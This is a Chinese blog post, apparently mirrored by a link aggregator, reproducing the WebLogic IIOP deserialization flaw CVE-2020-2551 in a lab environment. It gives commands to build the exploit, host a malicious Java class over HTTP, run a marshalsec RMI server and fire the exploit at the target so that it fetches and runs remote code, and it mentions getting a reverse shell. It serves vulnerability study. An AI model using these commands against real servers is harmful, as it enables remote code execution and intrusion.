Weblogic IIOP反序列化漏洞CVE-2020-2551复现
source link: https://yanghaoi.github.io/2020/08/22/weblogic-iiop-fan-xu-lie-hua-lou-dong-cve-2020-2551-fu-xian/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
Weblogic IIOP反序列化漏洞CVE-2020-2551复现
2020年1月15日, Oracle官方发布了Weblogic IIOP反序列化漏洞CVE-2020-2551的漏洞通告,漏洞等级为高危,CVVS评分为9.8分,漏洞利用难度低。影响范围为10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0。
2. 获取exp并配置编译
给项目配置JDK
配置Modules
选择src 后点 Sources, 选择out 后点 Excluded
选完之后,看到一排红:
这是因为有些包没导入,代码找不到,这里把lib文件夹下的包导入进项目:
然后就没得报错了:
打包配置
配置build:
选择main函数:
build打包成可执行文件:
发现又报错了,说没设置输出路径,配置一下:
继续build,又报错:
是上面的配置jdk下面那个project language level选高了 ,改成8,再来一次build,哇 成功输出文件:
马上就要运行一下,没问题了:
3. 进行复现
首测失败
用vulhub搭建了一个weblogic环境,恶意rmi使用JNDI-Injection-Exploit。但是这个工具编译版本为jdk1.7+,漏洞环境是jdk1.6,所以没成功,从下面日志中可以看到漏洞触发成功访问了rmi服务,但是接着报错不支持version 52,说明执行代码的jdk版本低于编译的jdk版本。搜到jdk版本和stanford parser对应关系是J2SE 8 = 52,J2SE 7 = 51,J2SE 6.0 = 50,J2SE 5.0 = 49,JDK 1.4 = 48,JDK 1.3 = 47,JDK 1.2 = 46,JDK 1.1 = 45,所以后面用指定编译版本为1.6编译exp。
这下该成功了吧
1、使用javac Poc.java -source 1.6 -target 1.6
指定版本来编译Poc.java:
并且启动一个web服务来让恶意类可以被访问到python3 -m http.server 80
2、恶意rmi服务java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.111.1/#Poc" 1099
3、用poc测试java -jar CVE-2020-2551.jar 192.168.111.130 7001 rmi://192.168.111.1:1099/Poc
4、可以看到weblogic请求rmi后从web服务器里获取到了恶意类:
5、此时上漏洞环境查看目录,命令执行成功:
6、反弹shell:
https://blog.csdn.net/m0_37961948/article/details/78161828?utm_source=blogxgwz3
https://www.cnblogs.com/zhaoqingqing/p/11847791.html
https://blog.csdn.net/weixin_43149083/article/details/89639747
https://y4er.com/post/weblogic-cve-2020-2551/
https://xz.aliyun.com/t/7374#toc-13
https://xz.aliyun.com/t/7498
Recommend
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK